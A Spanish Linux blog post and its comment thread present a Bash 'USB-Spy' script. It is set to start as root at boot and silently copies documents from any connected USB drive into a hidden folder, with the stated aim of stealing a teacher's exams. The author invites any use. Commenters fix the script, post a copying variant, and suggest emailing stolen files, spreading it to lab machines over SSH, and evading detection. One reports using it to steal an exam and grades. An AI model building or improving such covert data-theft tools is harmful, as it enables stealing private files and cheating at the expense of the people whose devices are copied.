Script para espiar el contenido de dispositivos USB y copiarlo a la PC

Yo siempre fui un alumno inquieto, siempre deseando sacar partido de oportunidades comoโ€ฆ por ejemplo, copiar los exรกmenes del semestre del pendrive del profesor o algo asรญ. Cuando estudiaba en la enseรฑanza media (especialidad informรกtica) deseรฉ programar ยซalgoยป que hiciera lo siguiente:

  1. Detecte cuando se conecta un dispositivo USB en el ordenador de la clase
  2. Copie todo el contenido de ese dispositivo hacia el ordenador

Esto me permitirรญa tener el examen mucho tiempo antes, solo serรญa necesario que el profesor conectara su memoria USB (pendrive) en el ordenador y listo.

Desafortunadamente en mi instituto los ordenadores tenรญan Windows y โ€ฆ yo jamรกs y nunca aprendรญ a programar para este OS.

No obstante ahora uso Linux (obvio no? LOL!), y con los conocimientos que a lo largo de estos aรฑos he podido ir adquiriendo, ahora Sร! ya puedo lograr esto con Linux ๏˜€

O sea, he programado un simple script que hace lo siguiente:

1. Crea la carpeta /home/.USBDRIVES/
2. Estรก comprobando cada 5 segundos si hay algรบn dispositivo USB (o CD/DVD) conectado al ordenador.
3. En caso de que estรฉ alguno conectado, crearรก una carpeta dentro de /home/.USBDRIVES/ con el nombre del USB (por ejemplo: memoria-2gb) y ademรกs, copiarรก todos los archivos .doc, .pdf, etc (aquรญ el listado) hacia esta carpeta que reciรฉn acaba de crear.
4. En caso de que no haya ningรบn USB conectado, simplemente esperarรก 5 segundos para volver a iniciar la comprobaciรณn que expliquรฉ arriba ๏˜€

Aquรญ les dejo el script y el archivo que contiene los formatos que se copiarรกn:

Descargar USB-Spy.zip
El script debe ser ejecutado como root para que su funcionamiento no se vea limitado. Acรก explico cรณmo lograr esto

Para que el script pueda funcionar sin ningรบn tipo de problemas, lo mejor es que sea iniciado con privilegios administrativos (root), asรญ como es obvio que se necesita que se inicie junto al ordenador, de esta forma nos aseguramos que si el ordenador es reiniciado o apagado, cuando vuelva a iniciar el script estarรก ahรญ funcionando, listo para extraer de cualquier USB lo que deseamos ๏˜‰

Vamos a abrir una terminalโ€ฆ una vez abiertaโ€ฆ

1. Supongamos que tenemos ambos archivos en /opt/ (/opt/usb-spy.sh y /opt/usb-spy.files), debemos darle privilegios de ejecuciรณn:

sudo chmod +x /opt/usb-spy.sh

2. Abrimos el archivo /etc/rc.local :

sudo nano /etc/rc.local

3. En รฉl escribimos arriba de la lรญnea final (exit 0) lo siguiente:

/opt/usb-spy.sh &

4. Ahora presionamos [Ctrl]+[X] para guardar y salir del archivo, presionamos [S] o [Y] (en dependencia del idioma del sistema) y luego [Enter]. Esto bastarรก para que se guarden los cambios que hicimos.

Y listo, esto bastarรก para que el script se inicie como root cuando encendamos el ordenador.

Es importante verificar que el archivo usb-spy.files estรฉ en el mismo directorio de usb-spy.sh ๏˜‰

Ahoraโ€ฆ explicarรฉ un poco el funcionamiento interno del script, pues sรฉ que hay muchos amantes de Bash por acรก ๏˜€

Q: ยฟCรณmo el script sabe que hay un dispositivo USB conectado?
A: En el archivo /etc/mtab de nuestro sistema se encuentran los dispositivos o particiones que estรกn montadas en nuesto sistema. Mediante la lรญnea 23 del script se sabe si hay un USB conectado o no (haciendo cat al mtab y grep media)
Q: Sรญ, pero ยฟcรณmo el script sabe si el cat y grep nos devuelve algรบn dato o no?
A: Mediante un ciclo if, then, else que empieza en la lรญnea 24.
Q: ยฟCรณmo hacer que copie solamente los archivos con extensiones deseadas? (.doc, .pdf, etc)
A: Mediante rsync con varios parรกmetros, esto es en la lรญnea 34. Explicado de forma simple, con rsync copio solamente los archivos que coincidan con el filtro usb-spy.files, cada lรญnea es un filtro por asรญ decirlo. Ademรกs le paso el parรกmetro --prune-empty-dirs a rsync para que no me cree directorios vacรญos.
Por cierto algo importante. Si se conecta un dispositivo USB de 8GB (por ejemplo) todo funciona de forma correcta, pero me percatรฉ que si se conecta algรบn dispositivo de mucha mรกs capacidad, como 500GB o 1TB el proceso de buscar archivos .doc y etc para copiarlos al ordenador demoraba mucho tiempo, por lo que puse un lรญmite de GB. O sea, en la lรญnea 31 declaro que si el dispositivo USB es menor de 16GB, entonces busca los archivos y copialos, pero si es mayor de 16GB entonces no hagas nada. Si desean aumentar esos 16GB por 32GB, solo aumenten ese nรบmero de la lรญnea 31

No hay mucho que explicar en realidad, el script es realmente simple de entender ๏™‚

Si alguien tiene cualquier duda o pregunta, queja, idea o sugerencia por favor, que lo diga y prometo ayudarles en todo cuanto pueda.

Y bueno, estaba pensando poner algo como: ยซeste script solo es para propรณsitos educativos, no usar con files daรฑinosยป โ€ฆ peroโ€ฆ quรฉ demonios!, รบsenlo para lo que deseen, es hora de que los estudiantes tengamos algรบn tipo de ventaja contra los profesores que nos oprimen ๏˜€

Saludos

Aรบn se le pueden hacer mรบltiples mejoras al script, pero bueno esto es un buen inicio creo yo, si alguien se siente motivado a contribuir a esta ยซnobleยป causa serรก un placer ๏˜€

Deja tu comentario

Tu direcciรณn de correo electrรณnico no serรก publicada. Los campos obligatorios estรกn marcados con *

*

*

  1. Responsable de los datos: Miguel รngel Gatรณn
  2. Finalidad de los datos: Controlar el SPAM, gestiรณn de comentarios.
  3. Legitimaciรณn: Tu consentimiento
  4. Comunicaciรณn de los datos: No se comunicarรกn los datos a terceros salvo por obligaciรณn legal.
  5. Almacenamiento de los datos: Base de datos alojada en Occentus Networks (UE)
  6. Derechos: En cualquier momento puedes limitar, recuperar y borrar tu informaciรณn.

     elav dijo

    Tramposo ยฌยฌ

    XDDDD

        KZKG^Gaara dijo

      Nah para nada … si seguro tรบ igual pensaste en algรบn momento hacer algo asรญ … JAJAJA.

          Ivan Molina dijo

        Me salvaste de un examen sorpresa ๐Ÿ˜€ … Ahora tu ยซKZKG^Gaaraยป Eres mi dios… Alabado seas!

        Facundo dijo

      Holaa, muy buen script, pero en mega ya no existe el archivo, me lo podรฉs pasar a mi correo, porfa

     oscar dijo

    Linux es el 1% y dices que nunca aprendiste a programar para windows asi que el tuto es para un sistema linux, mi pregunta es: ยฟque posibilidad hay en encontrar un profe que use linux para poder llevar a cabo el tuto?

        KZKG^Gaara dijo

      Este script o truco se ยซimplementaยป en un ordenador que no necesariamente tiene que ser el personal o propio del profesor, basta con que sea un ordenador cualquiera de una Universidad o Colegio, luego solo quedarรญa lograr por X o Y motivo que el profesor conecte su USB en ese ordenador.

      Sรญ, es para Linux, pero muchas universidades tienen Linux como sistema en laboratorios de ordenadores, asรญ como tambiรฉn se podrรญa bootear con un LiveCD y no necesariamente instalar Linux en el PC ๐Ÿ™‚

      Sobre lo del 1%, te recomiendo leer este post: https://blog.desdelinux.net/debunking-the-1-percent-myth-traducido-al-espanol/

        Hyuuga_Neji dijo

      La posibilidad de que un Meteorito gigante caiga sobre el Atlantico en aproximadamente 30 min

     Josh dijo

    Se ve interesante, habrรก que probarlo.
    Gracias

        KZKG^Gaara dijo

      La utilidad que tiene no es la gran cosa, pero el script como tal estรก interesante… pues se pueden aprender varios tips de รฉl, por ejemplo el cรณmo saber los USB conectados, tamaรฑo de particiones, etc ๐Ÿ™‚

     cr0t0 dijo

    Un artรญculo original y muy bien explicado KZKG^Gaara. Saludos!

        KZKG^Gaara dijo

      Gracias ๐Ÿ™‚

     Oscar dijo

    Que desfachatez!!!, y te atreves a escribirlo en el blog O-O, no se que pensar, serรก que hackeron a Gaara algiรฉn que no lo quiere bien?

        KZKG^Gaara dijo

      ยฟdesfachatez? ยฟpor quรฉ?
      Si bien el propรณsito o motivo del script puede no resultar algo tan serio como el resto de mis aportes, el script, sus lรญneas y lรณgica de programaciรณn sรญ que tiene mucho que aportar pienso yo.

      De este script se pueden aprovechar varias cosas:
      1. El cรณmo saber el tamaรฑo de una particiรณn y que esto sea una variable.
      2. El cรณmo comprobar si existe un USB conectado y extraer su path y nombre.
      3. Ciclos if-then-else y while.

      En fin, que no creo que esto sea algo del todo useless o algo asรญ.

          Oscar dijo

        Creo que tu interpretas mal mi comentario, yo me refiero al inicio de tu articulo,
        ยซYo siempre fui un alumno inquieto, siempre deseando sacar partido de oportunidades comoโ€ฆ por ejemplo, copiar los exรกmenes del semestre del pendrive del profesor o algo asรญ.ยป. Si te molesto lo que exprese, espero me disculpes, no fue mi intenciรณn.

            Blaire Pascal dijo

          o.O quรฉ excelente blog, buenos artรญculos, buenos lectores, los usuarios se disculpan… es el paraรญso jejeje libre de trolls.

              KZKG^Gaara dijo

            Gracias ^-^
            Estamos orgullosos de lo que hemos logrado hasta ahora, esta comunidad es de veras un orgullo… es genial formar parte de todo esto ๐Ÿ˜€

            KZKG^Gaara dijo

          No no no para nada, en realidad no me molestรฉ ni mucho menos xD
          Y sรญp jeje fue mi error por malinterpretar tu comentario jejeje, sorry por eso ๐Ÿ˜‰

          Nada que las disculpas vienen de mi parte ahora, tendrรฉ que lavarme la cara a ver si termino de despertarme que … por lo que veo, aรบn no ando al 100% JAJAJA.

          Saludos amigo ๐Ÿ™‚

            Oscar dijo

          Finรญsima persona xD

     Neomito dijo

    Me gustarรญa q los ordenadores de mi facultad tengan Linux muhahahjaja.

     GGGG1234 dijo

    Buen Articulo!
    Pero al que quiera imitarlo en Windows va a ser mรกs fรกcil, porque a donde en la mรกquina que quieras usarlo no tengas acceso al root no podes dejarlo ยซpara siempreยป. Con Windows eso no pasa ๐Ÿ˜‰

     Blaire Pascal dijo

    Muy bueno jeje.

     Hyuuga_Neji dijo

    La idea es buena solo tiene la debilidad de tener que usar privilegios de Root

        KZKG^Gaara dijo

      Bueno, en realidad no necesita ser root como tal … si se le declara al script que la carpeta NO serรก /home/.USBDRIVES como le puse yo, y se le pone por ejemplo: /home/usuario/.USBDRIVES … entonces ejecutando el script con ยซusuarioยป bastarรก ๐Ÿ˜€

     Emilio dijo

    Es buena idea, pero creo que te ahorrarias modificar el rc.local y correrlo cada minuto mediante crontab, y asรญ te evitas el problema de correrlo como root y lo demรกs, por otro lado, aunque no afecte mucho, consumes memoria de la pc inutilmente cada 5 segundos para verificar si esta la usb, aun cuando no estรฉ. Bueno ese es mi punto de vista

        KZKG^Gaara dijo

      O sea, hacer una comprobaciรณn cada 1 minuto no? No lo hice asรญ porque… ยฟy si se conecta y desconecta un USB en menos de 1 minuto? ๐Ÿ˜€

      Preferรญ hacerlo cada 5 segundos para asegurar de veras ยซcapturarยป todos los USB ๐Ÿ˜‰

      Si te entendรญ mal, por favor corrรญgeme ๐Ÿ™‚

      Saludos y bienvenido.

          Emilio dijo

        Si, hacer la comprobaciรณn cada minuto a travรฉs de cron, pero bueno cada uno tiene una forma distinta de ver el problema, nada mas que viendo el codigo, no serรญa mejor verificar si ya existe la carpeta de /home/.USBDRIVES antes de crearla, es una sugerencia nada mas

        Saludos

            KZKG^Gaara dijo

          Sรญ tambiรฉn, es un detalle del que me percatรฉ pero… me diรณ vagancia solucionarlo LOL!

          Igual podrรญa poner un log donde se muestren los archivos que se han copiado (log individual para cada dispositivo), tal vez inclusive enviar mediante email este log (usando algรบn mรฉtodo de enviar email por terminal de los que he puesto acรก en el sitio) … pero como te dije, me da un poco de pereza ^-^U

     Pavloco dijo

    Jajajaja genial.

     hexborg dijo

    ยกAjรก! O sea que tu software puede ser usado para el mal. ยกJajajaja!!! ๐Ÿ™‚

    Estรก bien el truco, pero… ยฟy si se quiere desmontar el USB antes de que el script termine de copiar su contenido? En ese caso se quejarรก de que estรก en uso y se notarรก que hay algo raro. ๐Ÿ™‚

        KZKG^Gaara dijo

      En realidad el sistema no permitirรก que se desmonte el USB pues ยซalgoยป lo estarรก usando ๐Ÿ˜‰

          hexborg dijo

        ยกExacto! Y entonces es cuando el profesor de Oscar piensa que ha encontrado un virus para linux. ยกJajajaja!! ๐Ÿ™‚

     Oscar dijo

    Me hiciste recordar una vez que hice algo similar ( en mi Uni si teniamos linux/windows), pero yo hice un programa en C que generaba miles de carpetas. Le tapicรฉ la USB a un chavo que la conectรณ. El encargado del centro de cรณmputo estaba asombrado! Creyรณ encontrar un virus en linuxx muajajajaja … ahhh .. que tiempos aquellos =)

        miguel dijo

      y cual es la diferencia con un virus ?

          Oscar dijo

        Que yo me metรญ remotamente a su USB y ejecutรฉ el programa ๐Ÿ˜›

            miguel dijo

          jajajajaj , entonces fue un hackeo XD

        KZKG^Gaara dijo

      ๐Ÿ˜€
      hehehehehe asรญ que encontrรณ un virus en Linux no? … LOL!!

     Semproms dijo

    A mi no me acaba de funcionar xD, si lo intento ejecutar desde la terminal me dice esto: ./usb-spy.sh: line 31: [: -lt: unary operator expected
    Parece que hay algรบn problema con esta lรญnea: if [ $USBSIZE -lt 15664800 ]; then
    Pero no sรฉ cual es, porque no crea ademรกs el directorio .USB.

    Si se puede resolver puede resultarme un script รบtil.

        hexborg dijo

      Prueba a reemplazar df por /bin/df y asegurate de lanzarlo como root.

          Semproms dijo

        Vale, ahora si crea la el la carpeta .USB dentro de el directorio home, pero me sigue diciendo por la terminal que: ยซ./usb-spy.sh: line 31: [: -lt: unary operator expectedยป y no copia nada, en esa lรญnea tiene que haber algรบn conflicto, agradezco la ayuda si alguien lo ve.
        Muchas gracias.

            hexborg dijo

          ยฟPuedes ponernos el contenido de tu fichero /etc/mtab cuando el USB estรก montado?

              Semproms dijo

            Claro, aquรญ va:

            /dev/sda12 / ext4 rw,errors=remount-ro 0 0
            proc /proc proc rw,noexec,nosuid,nodev 0 0
            sysfs /sys sysfs rw,noexec,nosuid,nodev 0 0
            none /sys/fs/fuse/connections fusectl rw 0 0
            none /sys/kernel/debug debugfs rw 0 0
            none /sys/kernel/security securityfs rw 0 0
            udev /dev devtmpfs rw,mode=0755 0 0
            devpts /dev/pts devpts rw,noexec,nosuid,gid=5,mode=0620 0 0
            tmpfs /run tmpfs rw,noexec,nosuid,size=10%,mode=0755 0 0
            none /run/lock tmpfs rw,noexec,nosuid,nodev,size=5242880 0 0
            none /run/shm tmpfs rw,nosuid,nodev 0 0
            binfmt_misc /proc/sys/fs/binfmt_misc binfmt_misc rw,noexec,nosuid,nodev 0 0
            /dev/sdb1 /media/DOCU403 vfat rw,nosuid,nodev,uid=1000,gid=1000,shortname=m$

            Las รบltimas lรญneas son las del USB montado /dev/sdb1

              hexborg dijo

            A ver si lo conseguimos. ๐Ÿ™‚

            Ponnos la salida del comando df. Y prueba a aรฑadir la linea:

            echo $USBSIZE

            Justo delante del if que dรก el problema y dinos lo que sale al lanzar el script. Tiene que quedar algo como esto:

            USBSIZE=`/bin/df | grep $USBDEV | awk {‘print $2’}`
            echo $USBSIZE
            if [ $USBSIZE -lt 15664800 ]; then

            Y por si acaso, dinos tambiรฉn cuรกl es la salida del comando which df.

                Semproms dijo

              Vale, por partes, el comando df me devuelve esto:

              Filesystem 1K-blocks Used Available Use% Mounted on
              /dev/sda12 54082300 45246956 6125892 89% /
              udev 2004028 4 2004024 1% /dev
              tmpfs 805768 1180 804588 1% /run
              none 5120 0 5120 0% /run/lock
              none 2014420 92 2014328 1% /run/shm
              /dev/sdb1 1023200 322256 700944 32%/media/DOCU 3

              El comando which df me devuelve: /bin/df

              Luego, he puesto lo de echo $USBSIZE, y el resultado es el mismo, no me imprime nada nuevo, sino el error de antes, lo curioso es que eso ocurre con el USB que estoy probando, si pongo el disco duro externo de 500GB si que me devuelve por pantalla el tamaรฑo del disco, pero los 500 exceden a los 16 del if por tanto con el disco duro no hace nada.

              Pero con el USB no hace nada, mรกs que mostrar el error: ./usb-spy.sh: line 34: [: -lt: unary operator expected
              Es como si no pudiera mostrar el tamaรฑo del USB, pero con el comando df si que me sale su tamaรฑo.

              Gracias por la ayuda, a ver si lo podemos conseguir!!.


                Semproms dijo

              Por si acaso lo del comando no se viera bien aquรญ dejo un pantallazo: http://i48.tinypic.com/j5dvn5.jpg


              hexborg dijo

            Veo que en el mtab la ruta en la que aparece montado es ยซ/media/DOCU403ยป mientras que en df aparece ยซ/media/DOCU 3ยป. Esto hace que grep no lo encuentre y no devuelva el tamaรฑo. Prueba a cambiar las primeras lineas del for de manera que queden asรญ:

            for USBD in `cat /etc/mtab | grep media | awk ‘{print $1}’` ;
            do
            USBDEV=`cat /etc/mtab | grep $USBD | awk ‘{print $2}’`
            USBSIZE=`/bin/df | grep $USBD | awk {‘print $2’}`

            Los cambios consisten en cambiar el nombre de la variable del for por USBD, cambiar el $2 del final de la linea del for por $1, insertar la linea que empieza por USBDEV justo despuรฉs del do y cambiar USBDEV por USBD en la linea que empieza por USBSIZE… espero no haberme liado. ๐Ÿ™‚

            La idea es hacer el for por el nombre del dispositivo en vez de por el punto de montaje.

                KZKG^Gaara dijo

              El problema era que en el mtab cuando un dispositivo tiene espacios… pone unos caracteres ยซextraรฑosยป en la lรญnea, especรญficamente en el lugar del espacio.

              Nada, tan simple de solucionar como cambiar la forma en que se designa $USBDEV, en la lรญnea 28 cambiarla y ponerla asรญ:
              for USBDEV in `df | grep media | awk -F / {'print $5'}` ;

              ๐Ÿ˜€


              Atheyus dijo

            Dรฉjeme ver si los puedo ayudar…

            El operador unario lo muestra porque no localiza el tamaรฑo del disco,esto pasa porque no lo checa,esto pasa porque se llama

            DOCU 3

            y lo toma como dos valores,si fuera DOCU no abrรญa problema

            Tal vez les funcione esto

            http://www.itimetux.com/2012/11/manejar-archivos-o-carpetas-con-espacios-en-unix.html

            Un Saludo ๐Ÿ™‚

                Semproms dijo

              Efectivamente ese es el problema, porque acabo de probar con otros USB que tienen un nombre con una palabra sin espacios, ejemplo ยซclasesยป y el script funciona sin problemas, por eso reconocรญa el disco duro y no las memorias, pero ahora la cosa estรก en saber como pongo yo las comillas en el cรณdigo del script, ยฟse las tengo que poner a ยซ$USBNAMEยป?.

              Muchas gracias a Atheyus y a Hexborg por la ayuda, ya casi estรก conseguido.


              KZKG^Gaara dijo

            En realidad Semproms es super simple de arreglar ๐Ÿ˜‰
            La lรญnea 28 … cรกmbiala por esta:
            for USBDEV in `df | grep media | awk -F / {'print $5'}` ;

            Acabo de hacer la prueba con este cambio y funciona bien con dispositivos cuyo label/nombre tenga un espacio ๐Ÿ˜‰

            Ahora harรฉ el cambio en el script para descargar.

              hexborg dijo

            Muy bueno. Asรญ sรญ que es sencillo de arreglar. ๐Ÿ™‚

     AurosZx dijo

    Ohhh, muy ingenioso ๐Ÿ˜€ Tomarรฉ nota por si me llega a hacer falta…

     Semproms dijo

    KZKG^Gaara, con ese arreglo funciona perfectamente, ahora si que copia de los USB con espacio en el nombre, muchas gracias a todos por la ayuda, voy a probar a ver si puedo hacer que se ejecute con el arranque del sistema y que asรญ que vaya comprobando a cada ciclo si hay algรบn USB conectado.

    Al final lo hemos conseguido xD.

        KZKG^Gaara dijo

      ^-^ … un gusto jeje.
      El problema era que yo usaba mtab para reconocer los USB pudiendo haber usado simplemente df … usรฉ mtab porque pensรฉ que serรญa interesante explicarles este archivo, que lo conocieran, pero no prevรญ que sucederรญa este error con dispositivos con espacios jejeje.

      Cualquier duda o problema lo dejas dicho, a casi todos por acรก nos gusta ayudar xD

      Saludos

        hexborg dijo

      Por supuesto. Somos linuxeros. Siempre lo conseguimos. XD.

     Yeretik dijo

    Instalarle un demonio a la PC del profesor que genere un registro de todos los .doc, .docx, .odt, .pdf y te los mande por mail. Asรญ como que escanee la PC cada cierto tiempo en busca de cambios, nuevos ficheros o eliminaciones en dicho regsitro, y anet cualquier novedad te envรญe el fichero modificado o nuevo por mail tambiรฉn.

     Yeretik dijo

    Igual, creo que mรกs que una pillada, ejecutar ese script (Y COMO ROOT !!!!) es un suicidio. Le estรกs facilitando la vida y las cosas en un 700% a cualquiera interesado en insertar un fichero en tu PC con permisos de root y todo. Acuรฉrdate que en Linux no existen las extensiones y que un .doc en linux puede ser lo mismo un texto, que un video o peor aรบn, un script (esta vez con muy malas intenciones).

        KZKG^Gaara dijo

      Ejecutarlo como root no es completamente necesario, basta con definir la carpeta donde se pondrรก el contenido en algรบn lugar que el usuario que ejecuta tenga permisos de escritura (por ejemplo, su propio home) y listo ๐Ÿ™‚

      Sobre lo archivos peligrosos … bueno, se podrรญa agregar unas lรญneas que le harรญan un chmod -x a todos los archivos, asรญ perderรญan la propiedad de ejecuciรณn.

          Semproms dijo

        He aรฑadido estas lรญneas al inicio para que borre la carpeta .USBDRIVES en el caso de que ya estuviera creada:

        if [ -s $PLACE ]
        then rm -r $PLACE
        fi

        asรญ no darรก el error de ยซdirectorio ya existenteยป, eso si hay que tener cuidado de que en la carpeta .USBDRIVES no haya nada que no queramos que se borre, porque la va a borrar y poner otra en su lugar.

     Daniel dijo

    Para agregar nuevos formatos de archivo, basta con escribirlos en usb-spy? por ejemplo .jpg .mp3 etc.

        KZKG^Gaara dijo

      Para agregar tipos de archivo nuevo lo pones en el usb-spy.files
      Mira el contenido del archivo y verรกs cรณmo agregarlos, es bastante simple ๐Ÿ˜‰

     Wuilmer Bolivar dijo

    Si estamos en la misma red, y existe una maquina del profesor, lo interesante seria hacer un mapeo de red, puede que tengamos ssh en las maquinas y de esa manera distribuir el cรณdigo en las maquinas del laboratorio o incluso en la maquina del profesor…. Esto me da taaantas ideas :$

     xiler dijo

    Hola , te felicito por el post y todos tus aportes , pero tengo una consulta , a ver si alguien me puede solucionar este problema:

    Estube probando tu script en una pc con ubuntu 12.04LTS ( con Unity) y funciono perfecto , pero como veia que se ejaba de ejecutar el este script luego de la primera vez que esra ejecutado , debido a que ya estaba creada la carpeta .USBDRIVES , decidi usar directamente el este otro script de tu autoria que estaba posteado en otra parte de este foro

    aca copio el script para que te ubiques

    #!/bin/bash
    #
    # -*- ENCODING: UTF-8 -*-
    # Este programa es software libre. Puede redistribuirlo y/o
    # modificarlo bajo los tรฉrminos de la Licencia Pรบblica General
    # de GNU segรบn es publicada por la Free Software Foundation,
    # bien de la versiโ€™n 2 de dicha Licencia o bien (segรบn su
    # elecciรณn) de cualquier versiรณn posterior.
    #
    # Si usted hace alguna modificaciรณn en esta aplicaciรณn,
    # deberรก siempre mencionar al autor original de la misma.
    #
    # Copyleft 2012, DesdeLinux.net {Ciudad Habana, Cuba}.
    # Autor: KZKG^Gaara

    WHILE=0

    while [ $CONTROL=0 ] ; do
    cat /etc/mtab | grep media >> /dev/null
    if [ $? -ne 0 ]; then
    CONTADOR=0
    else
    CONTADOR=1
    : ${USBDEV:=`cat /etc/mtab | grep media | awk ‘{print $2}’`ยป/ยป}
    cp $USBDEV/* /home/
    fi
    sleep 5
    done

    exit 0

    El tema es el siguiente en ubuntu12.04 lts unity ese ultimo scritp corre bien y funciona pero al hacerle un downgrade a la misma pc por ยซxยป motivo ,y tratar de hacerlo funcionar en ubuntu 10.10 no ,lo puedo hacer funcionar
    por un lado me tira error y no me lee los pendrives que tienen nombre compuesto por ej : DATA-G , ni tampoco me copia los archivos que tienen nombre compuesto . A parte de este problema tengo el problema que solo se ejecuta el script al reiniciarla la pc una sola ves .

    La pregunta seria : como puedo hacer que ese script me copie pendrives y archivos con nombre compuesto
    y si usando crontab o puedo programar para que funcione en un determinado momento

    Otro detalle , en ubuntu 10.10 , como usa Gnome quisiera agregar algunas acotaciones para tengan en cuenta , al darle privilegios de ejecucion a un script , este debe estar ubicado en /etc/init.d no en /etc/
    (tener en cuenta que hay que pegarlo ahi llegando desde terminal con sudo nautilus)

    por otro lado otra acotacion seria que luego de pegarlo ahi para saber si se puede ejecutar hay que hacer en otro terminal

    sudo su ( para ser root)
    password

    ls

    cd /etc/ init.d

    ls -l

    y ahi nos salta si esta en ejecucion o no

    luego en el mismo terminal o en otro terminal en otro momento estando como root y estando en etc/init.d(osea hasta el paso cd/etc/init.d) como en el anterio terminal seguimos de la siguiente forma para darle permisos de ejecucion

    sudo chmod +x script.sh

    update -rc.d script.sh defaults 80

    reboot

    repito eso es para que se autoejecute en ubuntu 10.10 si es otra version como la 12.04 hay que hacer lo que dice KZKG^Gaara

    Y una ultima pregunta como me interesa que se copie el contenido ( hasta de3 subcarpetas del pendrive) al home o a una carpeta en el home oculta o no , supongamos que fuera .USBDRIVES
    en el codigo no tendria que decir

    cp -r /media/*/*/*/home/.USBDRIVES/*

    En definitiva para conseguir lo que quiero como tendria que quedarme el script ?
    porque ya intente modificar la linea que le modificaron al usb-spy sh pero a ese otro que graba directamente en home y me tira erro en la linea modificada .? Saludos . Gracias

     Kakashi dijo

    yo no puedo bajar el segundo script

     metalus dijo

    Muy bueno. ๐Ÿ˜‰

     Kamaleon dijo

    ยฟY si no hago los pasos que pones que pasa? ยฟNo se ejecuta o simplemente se ejecuta pero sin root? ยฟSi los ordenadores tienen un sistema que digamos restaura toda la configuraciรณn interna del ordenador al apagarlo funcionarรก? Gracias.

        KZKG^Gaara dijo

      En el caso de que el sistema tenga ‘algo’ que vuelva a poner por default la carpeta /home/ entonces debes modificar el script, donde dice /home/ cambiarlo por /opt/ o alguna otra carpeta que no se vea afectada.

     gambi dijo

    Creo que para mejorar el script y evitar que se note la intromisiรณn en el pendrive lo รณptimo consitirรญa en que se priorice tipo, tamaรฑo del archivo. Por ejemplo dejar para el final archivos voluminosos de 100 megas o mรกs. O primero copiar archivos doc, docx, txt, pdf, xml,… etc etc etc y dejar para el final archivos avi, mp4, mkv…

     lucas dijo

    Hola, esta buena la idea. querรญa hacer dos preguntas:
    – Se puede hacer a la inversa? hacer un scrip para el penderiver, que este se conecte en cualquier maquina y extraiga archivos.
    – sirve para SO Windows?

        KZKG^Gaara dijo

      Hola,

      No estoy seguro de cรณmo se podrรญa hacer que al conectar el pendrive, el mismo pendrive auto-ejecute un script que tenga dentro.

      Y no, este script no sirve para Windows ๐Ÿ™‚

          LUCAS dijo

        Ok, gracias por responderme.voy a investigar como hacerlo

     Jose Damian Bazaga Ruiz dijo

    Que buen script. He estado analizandolo, y me parece una pasada, ojala algun dia yo tambien pudiera hacer scripts tan practicos asi.

     jose dijo

    Excelente aporte, aunque la utilidad que le dare no es exactamente para lo que lo planteaste, si lo uso para respaldos de archivos de un grupo de usuarios mala conducta que tengo… jejejeje….

     enbudle dijo

    cuando yo lo intento correr me da este error lรญnea 31: [: demasiados argumentos
    elimine esa linea para ver si funcionaba. y resulta que es la linea que restringe el tamaรฑo de los dispositivos.
    al quitarlo copia lo que tengo en mis particiones montadas ๐Ÿ™

     Valente dijo

    Holaa soy nuevo y se que es viejo el pots pero me gusto mucho es muy educativo tu script

    Gracias por comartirlo y explicarlo detalladamente…

    Saludo

     doltrox dijo

    amigo me as salvado solo basto distraer al profe e introducir el usb a mi portatil y luego jajajaaj examen pasado y notas de todos jejejje

        Oetam222 dijo

      Me podrรณas pasar el script el enlace estรก caido

        Oetam222 dijo

      Me puedes pasar el script el enlace estรก caido

     Gusanito2D2 dijo

    kzkggaara, ยฟpodrias resubir los archivos? los links estรกn caidos :/, muchas gracias

     bastian dijo

    pueder serubir links porfa??

     Necr0 dijo

    oye! tio! tienes los ensalces caรญdos podrรญas subirlos de nuevo!
    vale! :v

     Necr0 dijo

    bueno, hago esto de nuevo porque no se si se subio lo que queria decir….

    bien se trata de que tienes los enlaces caidos puedes subirlos!

     Rlorau dijo

    Los enlaces estan caidos!!!

     Developer24 dijo

    Resube los links por favor @usemoslinux estoy investigando acerca del tema, gracias!

     Anรณnimo dijo

    El script se puede bajar de aqui. Creo que es elmismo

    https://mega.nz/#!yQR1BQTb!FoYoopZ11WSstQaqX1flxhm1t4jCKOI9jj8VIxIBrxk

     Juan dijo

    Bueno pues….

    Opino desde mi humilde punto de vista que es un gran articulo y pues si existen personas que dicen que eres tramposo pues yo opino que es segun el proposito para el que uses el programa.
    A mi personalmente me gusto mรกs por conocer el lenguaje de programaciรณn para linux puesto que solamente he trabajado en java, gracias compaรฑero me has despetado el interes por conocer mas del lenguaje para linux.

    Te agradezco.

     Hecorat dijo

    Hola amigos pues yo encontre otra fomra de usar este scrip es es haciendo backup, les platico un poco yo tengo dos dispositivos una camara y un hdd lo que yo quiero es que en ves que grabe los archivos los archivos locales los guarde un un hdd externo desde la camara hasta el hddpero me da un error que dice ยซtoo many argumentsยป me podrian ayudar

     LUIS GERARDO POLANCO VERA dijo

    Solo funciona con dispositivos con sistemas operativos linux?

     Probando dijo

    Que alguien lo resuba, por favor!

     Gazlene dijo

    Hola, no tengo linux y en mi escuela usan Windows, use la app a de usb capture y copio solo 5 archivos de la memoria del profe, sospecho q tiene protecciรณn esa usb, por que en dos ocasiones sucediรณ lo mismo, habrรก alguna otra forma de sustraer la informacion completa de esa usb?

     Zaraki dijo

    Vaya si bien dices serรก sencillo el cรณdigo, pues parece muy interesante el ver funcionar los mรฉtodos para ver si estรก conectado un USB o el tamaรฑo de la particiรณn. Lastima que han removido el script de mega.nz, podrรญas subirlo de nuevo?.

    Saludos y gran trabajo, simple pero funcional incluso para automatizar copias desde USB!!!

     Breaks dijo

    Buenas!
    Acabo de entrar a tu artรญculo del blog, y realmente estoy interesado. Lo que pasa es que al darle al archivo .zip que te redirige a mega pone que el archivo ya no estรก disponible.
    Me preguntaba si me podrรญas mandar esos archivos que se supone que hay que descargar.
    Muchas gracias y saludos!

     Alfredo Pereira dijo

    La tecnologรญa tiene la costumbre de reducir su tamaรฑo a medida que pasan los aรฑos. Y eso ha sucedido en un grado increรญble con las unidades de estado sรณlido (SSD). Ahora puede obtenerlos en el mismo tamaรฑo que las unidades flash USB mรกs rรกpidas.

    https://clongeek.com/las-unidades-usb-3-0-mas-rapidas/

     a dijo

    ยฟMe puedes mandar el archivo o volverlo a subir? Sale que no se puede descargar